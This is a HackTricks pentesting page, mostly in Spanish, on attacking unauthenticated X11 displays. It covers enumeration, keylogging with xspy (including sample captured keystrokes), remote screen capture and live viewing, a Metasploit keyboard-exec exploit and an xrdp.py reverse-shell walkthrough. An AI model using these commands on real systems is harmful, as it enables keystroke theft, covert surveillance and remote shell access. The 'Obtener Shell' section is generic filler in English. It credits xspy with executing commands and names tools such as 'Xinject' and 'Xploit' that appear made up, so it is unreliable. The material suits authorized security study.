hacktricks/network-services-pentesting/6000-pentesting-x11.md

12 KiB
Raw Blame History

6000 - Pentesting X11

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Información básica

El sistema X Window (también conocido como X) es un sistema de ventanas para pantallas de mapas de bits, que es común en sistemas operativos basados en UNIX. X proporciona el marco básico para un entorno basado en GUI. X tampoco impone la interfaz de usuario, esto lo manejan programas individuales.
De: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Puerto predeterminado: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeración

Verificar la conexión anónima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumeración local

El archivo .Xauthority en la carpeta de inicio del usuario es utilizado por X11 para la autorización. Desde aquí:

MIT-magic-cookie-1: Generando 128 bits de clave ("cookie"), almacenándola en ~/.Xauthority (o donde apunte la variable de entorno XAUTHORITY). El cliente la envía al servidor en texto plano. El servidor verifica si tiene una copia de esta "cookie" y, si es así, se permite la conexión. La clave es generada por DMX.

{% hint style="warning" %} Para utilizar la cookie, debes establecer la variable de entorno: export XAUTHORITY=/ruta/a/.Xauthority {% endhint %}

Verificar conexión

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keylogging

xspy para capturar las pulsaciones del teclado.

Salida de ejemplo:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Captura de pantallas

Capturar pantallas durante una prueba de penetración puede ser útil para documentar y demostrar las vulnerabilidades encontradas. Aquí hay algunas técnicas para capturar pantallas en el entorno X11:

1. Utilizando la herramienta xwd

La herramienta xwd se utiliza para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar una pantalla y guardarla en un archivo:

xwd -root -out screenshot.xwd

2. Utilizando la herramienta import

La herramienta import también se puede utilizar para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar una pantalla y guardarla en un archivo:

import -window root screenshot.png

3. Utilizando la combinación de teclas Print Screen

En muchos entornos de escritorio, puede capturar una pantalla presionando la tecla "Print Screen" en su teclado. Esto guardará automáticamente la captura de pantalla en un archivo.

4. Utilizando herramientas de captura de pantalla

Además de las herramientas mencionadas anteriormente, también puede utilizar herramientas de captura de pantalla específicas, como scrot o gnome-screenshot, para capturar pantallas en el entorno X11.

Recuerde que al capturar pantallas durante una prueba de penetración, es importante tener en cuenta las políticas y regulaciones de seguridad de la organización objetivo. Asegúrese de obtener el permiso adecuado antes de realizar cualquier captura de pantalla.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Vista de Escritorio Remoto

Fuente: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Camino desde: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Primero necesitamos encontrar el ID de la ventana usando xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Para visualización en vivo necesitamos usar

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obtener Shell

To obtain a shell, we can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces in Unix-like operating systems.

One common vulnerability is the X11 server misconfiguration, which allows unauthorized users to connect to the server and execute commands. By exploiting this vulnerability, we can gain access to a shell on the target system.

To exploit the X11 server misconfiguration, we can use tools like Xspy or XEvil. These tools allow us to intercept X11 traffic and execute arbitrary commands on the target system.

Another method to obtain a shell is by exploiting the X11 forwarding feature. X11 forwarding allows us to run graphical applications on a remote server and display them on our local machine. However, if the X11 forwarding is misconfigured, we can use it to execute commands on the remote server and obtain a shell.

To exploit the X11 forwarding misconfiguration, we can use tools like Xinject or Xploit. These tools allow us to inject malicious commands into the X11 traffic and execute them on the remote server.

It is important to note that exploiting vulnerabilities in the X11 server can be illegal and unethical. Always ensure that you have proper authorization and permission before attempting any penetration testing activities.

msf> use exploit/unix/x11/x11_keyboard_exec

Otra forma:

Reverse Shell: Xrdp también permite obtener una reverse shell a través de Netcat. Escribe el siguiente comando:

./xrdp.py <IP:0> no-disp

Aparecerá un nuevo panel de control donde podemos ver la opción de R-shell, que se ilustra a continuación:

Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, que se ilustra a continuación:

Luego, añade la IP y el puerto y selecciona R-Shell, que se ilustra a continuación:

Ahora, como se puede ver a continuación, tenemos acceso completo al sistema:

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

Shodan

  • port:6000 x11

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof y comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥